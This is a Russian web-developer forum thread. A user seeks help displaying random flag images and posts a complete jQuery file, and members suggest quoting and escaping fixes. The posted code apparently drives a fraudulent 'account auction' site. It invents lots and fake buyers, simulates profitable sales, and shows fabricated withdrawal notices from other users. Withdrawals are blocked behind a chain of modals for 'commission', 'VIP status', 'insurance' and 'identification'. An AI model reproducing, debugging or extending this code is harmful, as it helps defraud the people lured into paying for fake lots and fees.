Как вместо рандомного показа текста, сделать рандомный показ картинок?

12
D
На сайте с 01.09.2015
Offline
59
#11
VoV@:
Попробуйте кавычки использовать наоборот:
var countries = ["<img src='http://сайт.ру/uk_flag.png' />", "<img src='http://сайт.ру/china_flag.png' />", "<img src='http://сайт.ру/ru_flag.png' />"];

Попробовал выдает ошибку: undefined

---------- Добавлено 10.06.2019 в 11:21 ----------

Sitealert:
На самом деле, ТС наверняка пытается вставить тег <img> в какой-то другой тег. Но стесняется в этом признаться.

Ничего подобного. Просто данный JS файл большой и содержит много других не относящихся к рандомной выдачи картинок функций.

S
На сайте с 30.09.2016
Offline
469
#12
ivan-lev:
🤣
Все тэги, кроме тэгов самого верхнего уровня вставляются в какие-нибудь другие тэги..

Ценю Ваш юмор.;)

Я имел в виду конструкцию типа

<span data-txt="<img src="http://сайт.ру/uk_flag.png">"></span>

Но ТС же упорно отказывается показать код, поэтому можно только гадать.

Отпилю лишнее, прикручу нужное, выправлю кривое. Вытравлю вредителей.
D
На сайте с 01.09.2015
Offline
59
#13
Sitealert:
Ценю Ваш юмор.;)
Я имел в виду конструкцию типа
<span data-txt="<img src="http://сайт.ру/uk_flag.png">"></span>

Но ТС же упорно отказывается показать код, поэтому можно только гадать.

Прошу вот он файл целиком, и не надо гадать. В одно сообщение не вошел, разбил на 3 части


var timerStarted = false;
var comma_separator_number_step = $.animateNumber.numberStepFactories.separator(' ');
if (!userData.registered) {
window.location = 'register.php';
} else if (!userData.loggedIn) {
window.location = 'login.php';
}

$('#btnLogout').click(function () {
var ok = confirm('Выйти из системы?');
if (ok) {
userData.save({loggedIn: 0});
window.location.reload();
}
});

if(isNaN(parseInt(userData.income)) || parseInt(userData.income) < 0){
userData.save({income:0});
}

if (userData.unlimited) {

$('#getOkModal').modal('show');

} else if (userData.confirmed) {


$('#shifrOkModal').modal('show');

$('#payoutAmount6').html(userData.payoutAmount);

}else if (userData.insuranced) {

$('#identOkModal').modal('show');

$('#payoutAmount5').html(userData.payoutAmount);

} else if (userData.vipstatused) {

$('#strahovkaOkModal').modal('show');

$('#payoutAmount4').html(userData.payoutAmount);

} else if (userData.just_comissioned) {

$('#comissionOkModal').modal('show');

$('#payoutAmount').html(userData.payoutAmount);

$('#payoutAmount2').html(userData.payoutAmount);

if (!userData.payout_status_shown) {
var timeout = 30;
var timeout_id = setInterval(function () {
timeout--;
$('.timeout').text(timeout + " сек.");
if (timeout <= 0) {
clearTimeout(timeout_id);
$('#comissionOkModal').find('.timer').fadeOut().end()
.find('.err').fadeIn().end()
.find('.img').remove();
userData.save({payout_status_shown: 1});
}
}, 1000);
} else {
$('#comissionOkModal').find('.timer').fadeOut().end()
.find('.err').fadeIn().end()
.find('.img').remove();
}
}else if(userData.just_managed){

$('#shluzOkModal').modal('show');

$('#payoutAmount3').html(userData.payoutAmount);

}

var buyUrls = {
"p170": '',
"p290": '',
"p480": '',
"p540": '',
"p740": '',
"p810": '',
"p960": '',
"p1100": '',
"p1350": '',
"p1590": '',

"p972": ''//бонусный
};

var prices = [{ price: 170,
yearMin: 2010,
yearMax: 2017,
prMin: 1,
prMax: 3,
ticMin: 10,
ticMax: 100,
profitMin: 1200,
profitMax: 2750,
rare: {
percent: 5,
yearMin: 2010,
yearMax: 2017,
prMin: 3,
prMax: 7,
ticMin: 50,
ticMax: 500,
profitMin: 1200,
profitMax: 2750
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 9,
ticMin: 100,
ticMax: 1000,
profitMin: 1200,
profitMax: 2750
}
}, {
price: 290,
yearMin: 2010,
yearMax: 2017,
prMin: 1,
prMax: 3,
ticMin: 20,
ticMax: 150,
profitMin: 1270,
profitMax: 3100,
rare: {
percent: 5,
yearMin: 2010,
yearMax: 2017,
prMin: 3,
prMax: 7,
ticMin: 100,
ticMax: 750,
profitMin: 1270,
profitMax: 3100
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 9,
ticMin: 200,
ticMax: 1500,
profitMin: 1270,
profitMax: 3100
}
}, {
price: 480,
yearMin: 2010,
yearMax: 2017,
prMin: 2,
prMax: 5,
ticMin: 40,
ticMax: 250,
profitMin: 1350,
profitMax: 3900,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 8,
ticMin: 150,
ticMax: 1000,
profitMin: 1350,
profitMax: 3900
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 5,
prMax: 10,
ticMin: 400,
ticMax: 2500,
profitMin: 1350,
profitMax: 3900
}
}, {
price: 540,
yearMin: 2010,
yearMax: 2017,
prMin: 2,
prMax: 5,
ticMin: 80,
ticMax: 375,
profitMin: 1420,
profitMax: 4100,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 8,
ticMin: 300,
ticMax: 1500,
profitMin: 1420,
profitMax: 4100
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 5,
prMax: 10,
ticMin: 800,
ticMax: 3750,
profitMin: 1420,
profitMax: 4100
}
}, {
price: 740,
yearMin: 2010,
yearMax: 2017,
prMin: 3,
prMax: 7,
ticMin: 110,
ticMax: 1000,
profitMin: 1550,
profitMax: 4500,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 9,
ticMin: 500,
ticMax: 1500,
profitMin: 1550,
profitMax: 4500
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 6,
prMax: 10,
ticMin: 700,
ticMax: 3500,
profitMin: 1550,
profitMax: 4500
}
}, {
price: 810,
yearMin: 2010,
yearMax: 2017,
prMin: 3,
prMax: 7,
ticMin: 220,
ticMax: 1500,
profitMin: 1700,
profitMax: 9300,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 9,
ticMin: 1000,
ticMax: 2250,
profitMin: 1700,
profitMax: 9300
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 6,
prMax: 10,
ticMin: 1400,
ticMax: 5250,
profitMin: 1700,
profitMax: 9300
}
}, {
price: 960,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 9,
ticMin: 250,
ticMax: 1500,
profitMin: 1900,
profitMax: 14000,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 6,
prMax: 10,
ticMin: 2000,
ticMax: 5000,
profitMin: 1900,
profitMax: 14000
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 7,
prMax: 10,
ticMin: 3500,
ticMax: 10000,
profitMin: 1900,
profitMax: 14000
}
}, {
price: 1100,
yearMin: 2010,
yearMax: 2017,
prMin: 4,
prMax: 9,
ticMin: 500,
ticMax: 2250,
profitMin: 2600,
profitMax: 16400,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 6,
prMax: 10,
ticMin: 4000,
ticMax: 7500,
profitMin: 2600,
profitMax: 16400
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 7,
prMax: 10,
ticMin: 7000,
ticMax: 15000,
profitMin: 2600,
profitMax: 16400
}
}, {
price: 1350,
yearMin: 2010,
yearMax: 2017,
prMin: 7,
prMax: 9,
ticMin: 3500,
ticMax: 15000,
profitMin: 3700,
profitMax: 18000,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 8,
prMax: 10,
ticMin: 5000,
ticMax: 20000,
profitMin: 3700,
profitMax: 18000
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 19,
prMax: 12,
ticMin: 7000,
ticMax: 25000,
profitMin: 3700,
profitMax: 18000
}
}, {
price: 1590,
yearMin: 2010,
yearMax: 2017,
prMin: 7,
prMax: 9,
ticMin: 7000,
ticMax: 22500,
profitMin: 4500,
profitMax: 20000,
rare: {
percent: 3,
yearMin: 2010,
yearMax: 2017,
prMin: 8,
prMax: 10,
ticMin: 10000,
ticMax: 30000,
profitMin: 4500,
profitMax: 20000
},
epic: {
percent: 1,
yearMin: 2010,
yearMax: 2017,
prMin: 19,
prMax: 12,
ticMin: 14000,
ticMax: 37500,
profitMin: 4500,
profitMax: 20000
}
}];

if (userData.domainsCount > 0) {
prices[0] = prices[1];
}

function uanToRub(value) {
return value * currency;
}

$('#email').html(userData.email);

function updateUserData() {
userData.save('income,domainsCount');
$('#userTotal').animateNumber(
{
number: userData.income,
numberStep: comma_separator_number_step
}
);

$('#userDomains').animateNumber(
{
number: userData.domainsCount,
numberStep: comma_separator_number_step
}
);

$('#domainsSold').animateNumber(
{
number: userData.domainsSold,
numberStep: comma_separator_number_step
}
);
}
D
На сайте с 01.09.2015
Offline
59
#14


function feel() {
domains = [];
var numFeel = 55;
for (var i = 0; i < numFeel; i++) {
var indx = Math.floor(Math.random() * prices.length);
var itm = prices[indx];
var price = itm.price;
var src = itm;
var percent = rand(1, 100);
var type = "default";
var rarePercent = itm.rare.percent;
var epicPercent = itm.epic.percent;
var profit = itm.profitMin + ' - ' + itm.profitMax;
if (percent <= epicPercent) {
src = itm.epic;
//type = 'epic';
} else if (percent <= rarePercent) {
src = itm.rare;
//type = 'rare';
}
var pr = rand(src.prMin, src.prMax);
var tic = rand(src.ticMin, src.ticMax);
tic -= tic % 10;
var year = rand(src.yearMin, src.yearMax);
var domain = getDomain();


//Рэндомный выбор Социальной сети
var socialImg, socialName,socialRand,socialSrc;
socialRand = rand(1,3);

if(socialRand == 1) {
socialSrc = "/tw3.png";
socialName = 'Twitter';
}else if(socialRand == 2){
socialSrc = "/in3.png";
socialName = 'Instagram';
}else{
socialSrc = "/fb3.png";
socialName = 'Facebook';
}
socialImg = '<img style="float:left; margin-left:10px; margin-right: 10px;" src="'+socialSrc+'">';

//Рэндомный выбор страны
var countryRand;
var countries = ['UK', 'US', 'RU', 'DE', 'CA', 'IT', 'FR', 'AU', 'BR', 'UK', 'US', 'RU', 'DE', 'CA', 'IT', 'FR', 'AU', 'BR', 'UK', 'US', 'RU', 'DE', 'CA', 'IT', 'FR', 'AU', 'PL', 'JP', 'ES', 'AR', 'PL', 'JP', 'ES', 'AR', 'AM', 'AR', 'AT', 'AU', 'AZ', 'BE', 'BG', 'BR', 'BY', 'CA', 'CH', 'CZ', 'DE', 'DK', 'EE', 'ES', 'FI', 'FR', 'GB', 'GE', 'GR', 'HU', 'IE', 'IT', 'JP', 'KR', 'LT', 'LV', 'NL', 'NO', 'PL', 'PT', 'RO', 'RU', 'SE', 'TR', 'UA', 'UK', 'US'];

countryRand = rand(0,9);


domains.push({
requests:rand(1,29),
socialImg: socialImg,
socialName: socialName,
country:countries[countryRand],
lot: rand(1111, 9999),
domain: domain[0],
type: type,
domain_real: domain[1],
rank: tic + " . " + pr,
price: price,
year: year,
profit: profit,
profit_min: itm.profitMin,
profit_max: itm.profitMax
})
}

//shuffle(domains);
}

function shuffle(a) {
var j, x, i;
for (i = a.length; i; i--) {
j = Math.floor(Math.random() * i);
x = a;
a = a[j];
a[j] = x;
}
}

function getDomain() {
var coin = rand(1, 100);
var domain = chance.ip();
var domainInit = domain;
var parts = domain.split('.');
var len = parts[2].length;
if (len == 1) len = "*";
else if (len == 2) len = "**";
else len = "***";
parts[2] = len;
domain = parts.join('.');
return [domain, domainInit];
}

function rand(min, max) {
return Math.floor(Math.random() * (max - min + 1) + min);
}


function arand(list) {
return list[Math.floor((Math.random() * list.length))];
}


function updateTable() {
$('#domains-auction tbody').empty();
$(domains).each(function () {
var style = '';
if (this.type == 'jackpot') {
style = 'style="display:none;"';
setTimeout(function () {
$('#domains-auction tbody tr.domain-jackpot').fadeIn(1000);
userData.save({jackpot_shown: 1});
}, rand(5000, 10000));

}
$('#domains-auction tbody').append('<tr id="t' + this.lot + '" class="domain-' + this.type + '"' + style + '>' +
'<td style="font-weight:bold; vertical-align: middle;" class="actiontablmobimg"><div class="wrap">' + this.socialImg +
'<div style="text-align:left;"><span style="font-family:Tahoma, Verdana, Helvetica, Arial; font-size: 18px; font-weight:bold;"><span style="color:#333333;">'+this.socialName+'</span><br><span style="color:red">ID ' + this.lot + '</span></span></div></div></td>' +
'<td style="font-weight:bold; vertical-align: middle;" class="actiontablmob"><span style="font-family:Tahoma, Verdana, Helvetica, Arial; font-size: 18px; color:#333333; font-weight:bold;">' + this.year + '</span></td>' +
'<td style="font-weight:bold; vertical-align: middle;" class="actiontablmob"><span style="font-family:Tahoma, Verdana, Helvetica, Arial; font-size: 18px; color:#333333; font-weight:bold;">' + this.country + '</span></td>' +
'<td style="font-weight:bold; vertical-align: middle;" class="actiontablmob"><span style="font-family:Tahoma, Verdana, Helvetica, Arial; font-size: 18px; color:#333333; font-weight:bold;">'+this.rank+'</span></td>'+
'<td style="font-weight:bold; vertical-align: middle;" class="actiontablmob"><img src="arrows5.png">&nbsp;&nbsp;<span style="font-family:Tahoma, Verdana, Helvetica, Arial; font-size: 18px; color:#333333; font-weight:bold;">'+this.requests+'</span></td>'+
'<td style="font-weight:bold; vertical-align: middle;" class="actiontablmob"><span style="font-family:Tahoma, Verdana, Helvetica, Arial; font-size: 18px; color:#333333; font-weight:bold;">' + this.price + ' руб</span></td>' +
'<td style="vertical-align: middle;" class="actiontablmob"><button ' +
'data-price="' + this.price + '" ' +
'data-country="' + this.country + '" ' +
'data-requests="' + this.requests + '" ' +
'data-rank="' + this.rank + '" ' +
'data-lot="' + this.socialName + ' ID ' + this.lot +'" ' +
'data-socialName="' + this.socialName + '" ' +
'data-year="' + this.year + ' г."' +
'data-domain="' + this.domain + '" ' +
'data-type="' + this.type + '" ' +
'data-domain_real="' + this.domain_real + '" ' +
'data-profit="' + this.profit + '" ' +
'data-profit_min="' + this.profit_min + '" ' +
'data-profit_max="' + this.profit_max + '" ' +
'class="myButton1 colr2"><i class="fa fa-shopping-cart"></i>&nbsp;&nbsp;Продолжить<div class="ripple-container"></div></button></td>' +
'</tr>');

});
}

feel();
updateTable();
updateUserData();

var jackPotIgroredCount = 0;
setInterval(function () {
if (Math.round(Math.random() * 2) + 1 == 2) {
var index = Math.round(Math.random() * (30 - 1)) + 1;
var $item = $('#domains-auction tbody tr:visible').eq(index);
if ($item.attr('data-clicked') == '1')return;
if ($item.find('button').attr('data-type') == 'jackpot') {
jackPotIgroredCount++;
if (jackPotIgroredCount <= 2) {
console.log('jackpot IGNORED');
return;
} else {
console.log('jackpot cleared');
}
}
$('#domains-auction tbody tr:visible').eq(index).fadeOut(1000).css('background', '#335D87').css('opacity', 0.5).find('button').html('Выкуплен').removeClass('colr2');

}
}, 500);

setInterval(function () {
feel();
updateTable();
}, 35000);

setInterval(function () {
userData.load(["domains_changed", "bDomains"]);
if (userData.domains_changed == 1) {
updateBDomains(userData.bDomains);
}
}, 1000);
D
На сайте с 01.09.2015
Offline
59
#15


function updateBDomains(bDomains) {
$('#domains-my tbody').empty();

for (var domain in bDomains) {
if (bDomains.hasOwnProperty(domain)) {
var item = bDomains[domain];
console.log(item);
$('#domains-my tbody').append('<tr id="bd' + item.lot + '" class="domain-' + item.type + '">' +
'<td class="prmob2">' + item.lot +
'</td>' +
// '<td style="font-weight:bold">' + item.year + '</td>' +
// '<td style="font-weight:bold">' + item.country + '</td>' +
// '<td style="font-weight:bold">' + item.rank + '</td>' +
// '<td style="font-weight:bold">' + item.requests + '</td>' +
// '<td style="font-weight:bold">' + item.profit + ' руб.</td>' +
'<td style="vertical-align: middle;"><button ' +
'data-price="' + item.price + '" ' +
'data-country="' + item.country + '" ' +
'data-requests="' + item.requests + '" ' +
'data-rank="' + item.rank + '" ' +
'data-lot="' + item.lot + '" ' +
'data-year="' + item.year + '" ' +
'data-domain="' + item.domain + '" ' +
'data-domain_real="' + item.domain_real + '" ' +
'data-type="' + item.type + '" ' +
'data-profit="' + item.profit + '" ' +
'data-profit_min="' + item.profit_min + '" ' +
'data-profit_max="' + item.profit_max + '" ' +
'class="myButton3 colr2"><span id="prmob"><i class="fa fa-refresh"></i>&nbsp;&nbsp;</span>текст</button></td>' +
'</tr>');
}
}


}

$('#moneyOut').click(function () {

if (userData.income == 0) {
$('#accountErrorModal').modal('show');
} else if (userData.income < 5000) {
$('#minimalModal').modal('show');
} else {
if (userData.jackpot_buyed == 1 && userData.domainsCount == 1) {
$('#balanceErrorModal').modal('show');
} else {
$('#payoutModal').modal('show');
}

}

});

$('#btnSellDomains').click(function () {
if (userData.domainsCount < 1) {
$('#notEnoughDomainsModal').modal('show');
} else {
window.open('exchange.php');
}
});

$('#domains-auction tbody').on('click', 'button.colr2', function () {
/*if ($(this).data('price') > userData.balance) {
$('#balanceErrorModal').modal('show');
return false;
}*/
$('#domains-auction tbody tr:visible').removeAttr('data-clicked');
$(this).parent().parent().attr('data-clicked', '1');

$('#back-to-top').click();
$('#buyModal .lot').html($(this).data('lot'));
$('#buyModal .price').html($(this).data('price'));
$('#buyModal .year').html($(this).data('year'));
$('#buyModal .domain').html($(this).data('domain'));
$('#buyModal .rank').html($(this).data('rank'));
$('#buyModal .country').html($(this).data('country'));
$('#buyModal .requests').html($(this).data('requests'));

var earn = ($(this).data('rank') - $(this).data('price'));
var earnRub = uanToRub(earn);

$('#buyModal .earn').html($(this).data('profit') + ' rub.');

$('#btn-buy').data('sum', earnRub);
$('#btn-buy').data('lot', $(this).data('lot'));
$('#btn-buy').data('price', $(this).data('price'));

userData.recentDomain = {
price: $(this).data('price'),
rank: $(this).data('rank'),
lot: $(this).data('lot'),
year: $(this).data('year'),
domain: $(this).data('domain'),
domain_real: $(this).data('domain_real'),
type: $(this).data('type'),
profit: $(this).data('profit'),
profit_min: $(this).data('profit_min'),
profit_max: $(this).data('profit_max'),
country: $(this).data('country'),
requests: $(this).data('requests')
};
userData.save("recentDomain");
var $clone = $(this).parent().parent().clone();
$(this).parent().parent().hide();
$clone.attr('id', $clone.attr('id') + '-s');
$('#selectedDomain').show().find('table tbody').html($clone);


$('#buyModal').modal('show');
});

$('#selectedDomain tbody').on('click', 'button.colr2', function () {
$('#buyModal').modal('show');
});

/*$('#buyModal').on('hide.bs.modal', function () {
$('#selectedDomain').hide();
});*/

$('#domains-my tbody').on('click', 'button.colr2', function () {
$('#back-to-top').click();
$('#sellModal .lot').html($(this).data('lot'));
$('#sellModal .year').html($(this).data('year'));
$('#sellModal .domain').html($(this).data('domain'));
$('#sellModal .rank').html($(this).data('rank'));
$('#sellModal .country').html($(this).data('country'));
$('#sellModal .requests').html($(this).data('requests'));

var earn = ($(this).data('rank') - $(this).data('price'));
var earnRub = uanToRub(earn);

$('#sellModal .earn').html($(this).data('profit'));

$('#btn-sell').data('sum', earnRub);
$('#btn-sell').data('lot', $(this).data('lot'));
$('#btn-sell').data('country', $(this).data('country'));
$('#btn-sell').data('requests', $(this).data('requests'));
$('#btn-sell').data('price', $(this).data('price'));
$('#btn-sell').data('profit_min', $(this).data('profit_min'));
$('#btn-sell').data('profit_max', $(this).data('profit_max'));
$('#btn-sell').data('type', $(this).data('type'));

userData.recentDomain = {
price: $(this).data('price'),
country: $(this).data('country'),
requests: $(this).data('requests'),

rank: $(this).data('rank'),
lot: $(this).data('lot'),
year: $(this).data('year'),
domain: $(this).data('domain'),
domain_real: $(this).data('domain_real'),
type: $(this).data('type'),
profit: $(this).data('profit')
};

domainIsSelling = false;
isSellFinished = false;

$('#btn-sell').removeClass('disabled').find('.text').text('текст');
$('#sellModal').find('.loading').text("");
$('#sellModal').modal('show');
});

$('#btn-buy').click(function () {
window.location = buyUrls["p" + $(this).data('price')];
//$('#t' + $(this).data('lot')).hide();
//$('#buyModal').modal('hide');
});

var domainIsSelling = false;
var isSellFinished = false;
$('#btn-sell').click(function () {
if (domainIsSelling && !isSellFinished)return;
domainIsSelling = true;
if (isSellFinished) {
$('#sellModal').modal('hide');
return;
}
$(this).addClass('disabled');
$('#sellModal').find('.loading').html("<span style='color:#000000;'>Подождите...</span>").fadeIn(300);
var int1 = rand(1000, 3000);
var int2 = rand(1500, 4000);
var int3 = rand(2000, 5000);

var profit_min = parseInt($('#btn-sell').data('profit_min'));
var profit_max = parseInt($('#btn-sell').data('profit_max'));
if (profit_max > 4988) profit_max = 4988;
if ($('#btn-sell').data('type') == 'jackpot') {
profit_max = parseInt($('#btn-sell').data('profit_max'));
}
var price = rand(profit_min, profit_max);
setTimeout(function () {
$('#sellModal').find('.loading').html("<span style='color:#000000;'>текст1</span>");
setTimeout(function () {
$('#sellModal').find('.loading').html("<span style='color:#000000;'>текст2</span>");
setTimeout(function () {
if (userData.domainsSold >= 1 && userData.income < 5000) {
if (price < 3325) price = 3325;
price *= 10;
$('#sellModal').find('.loading').html("<span style='color:#FF0000; font-weight:bold;'>текст3 " + price + " руб.</span>");
} else {
$('#sellModal').find('.loading').html("<span style='color:#060; font-weight:bold;'>текст4 " + price + " руб.</span>");
}
userData.income += price;
userData.bDomains[userData.recentDomain.domain_real] = undefined;
if (!userData.domainsSold) userData.domainsSold = 0;
userData.domainsSold++;
userData.save("income,bDomains,domainsSold");
updateUserData();
isSellFinished = true;
$('#btn-sell').removeClass('disabled').find('.text').text('Закрыть окно');
}, int3);
}, int2);
}, int1);
});

$('#userWallet').text(userData.wallet);

function createPayoutNotice(time) {
console.log('createPayoutNotice(' + time + ')');
var wtypes = [""];
var wtype = arand(wtypes);
var icons = [""];
var icon = icons[wtypes.indexOf(wtype)];
console.log(icon);
setTimeout(function () {
var new_time = rand(15000, 60000);
var reward = rand(5000, 128000);
reward = reward - reward % 5000;
var user = rand(1, 99999);
$.growl.notice({
title: '',
message: 'текст' + user + ' текст ' + reward + ' текст ' + wtype + ' <img width="16" height="16" src="/images/icons/' + icon + '.png" />'
});
createPayoutNotice(new_time);
}, time);
}
createPayoutNotice(2000);

$('#btn-payout').click(function () {
var amount = parseInt($('#amount').val());
if (isNaN(amount) || amount < 0 || amount > userData.income) {
amount = userData.income;
$('#amount').val(amount).trigger('change');
alert("текст");
}
var wallet = $('#wallet').val();
if (!wallet || wallet.length < 5) {
alert('текст');
return false;
}
$('#btn-payout').addClass('disabled').find('span').text("текст");
setTimeout(function () {
$('#btn-payout').removeClass('disabled').find('span').text("текст");
$('#payoutModal').modal('hide');
//userData.income -= parseInt($('#amount').val());
//updateUserData();
setTimeout(function () {
userData.save({payoutAmount: parseInt($('#amount').val())});
//$('#minimalModal2').find('.summ').text($('#amount').val() + " rub.").end().find('.wallet').text($('#wallet').val()).end().modal('show');
$('#minimalModal2').modal('show');
}, 500)
}, rand(1500, 3000));
return false;
});

var today = new Date();
var dd = today.getDate();
var mm = today.getMonth() + 1; //January is 0!
var yyyy = today.getFullYear();
if (dd < 10) {
dd = '0' + dd;
}
if (mm < 10) {
mm = '0' + mm;
}
var today = dd + '.' + mm + '.' + yyyy;
$('.today').html(today);

//if(userData.domainsCount > 0)$('body').append('<script type="text/javascript" src="https://lib.profit-sender.com/push.js"></script>');

S
На сайте с 30.09.2016
Offline
469
#16

Ну так и есть

'data-country="' + item.country + '" '
Лечится заменой кавычек, как посоветовал VoV@. А насчёт undefined - это надо конкретно смотреть, где оно выскакивает.
VoV@
На сайте с 22.09.2007
Offline
196
#17
Sitealert:
Ну так и есть
'data-country="' + item.country + '" '

Экранирование всех кавычек в item.country может помочь. Типа: <img src=\'http://сайт.ру/uk_flag.png\' />

Хотя, тут ИМХО надо всю эту кашу внутри $('#domains-my tbody').append(...) переписать по-человечески.

Как вариант в массиве писать только имена файлов картинок:

var countries = ["uk_flag.png", "china_flag.png", "ru_flag.png"];

А

$('#buyModal .country').html($(this).data('country'));
заменить на
$('#buyModal .country').html("<img src='http://сайт.ру/" + $(this).data(country) + "' />)
⭐ Разработка Андроид-приложений (Xamarin C#). ⭐ Разработка ASP.NET (WebForms, MVC, WebAPI, Core). ⭐ Цой жив!
D
На сайте с 01.09.2015
Offline
59
#18
VoV@:
Как вариант в массиве писать только имена файлов картинок:
Цитата:
var countries = ["uk_flag.png", "china_flag.png", "ru_flag.png"];
А
Цитата:
$('#buyModal .country').html($(this).data('country'));
заменить на
Цитата:
$('#buyModal .country').html("<img src='http://сайт.ру/" + $(this).data(country) + "' />)

Попробовал сделать так, в итоге - пустая страница

VoV@
На сайте с 22.09.2007
Offline
196
#19
Digistive:
Попробовал сделать так, в итоге - пустая страница

Вы в этой сроке ошибку исправили?

$('#buyModal .country').html("<img src='http://сайт.ру/" + $(this).data(country) + "' />)

... там country в кавычки надо заключить: $(this).data('country')

И вообще, хорошо бы вам запустить отладчик в инструментах для разработчиков (F12), посмотреть ошибки в консоли, пройти каждый цикл по шагам хотя бы раз...

S
На сайте с 30.09.2016
Offline
469
#20
Digistive:
Попробовал сделать так, в итоге - пустая страница

Естественно, потому что этот текст вставлен 100500 раз в разные места кода. То, что сделано - это только в теге кнопки. А в других местах - пустое место.

---------- Добавлено 10.06.2019 в 16:08 ----------

VoV@:
И вообще, хорошо бы вам запустить отладчик в инструментах для разработчиков (F12), посмотреть ошибки в консоли, пройти каждый цикл по шагам хотя бы раз...
Не надо кошмарить ТСа всякими непонятками. 😎
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий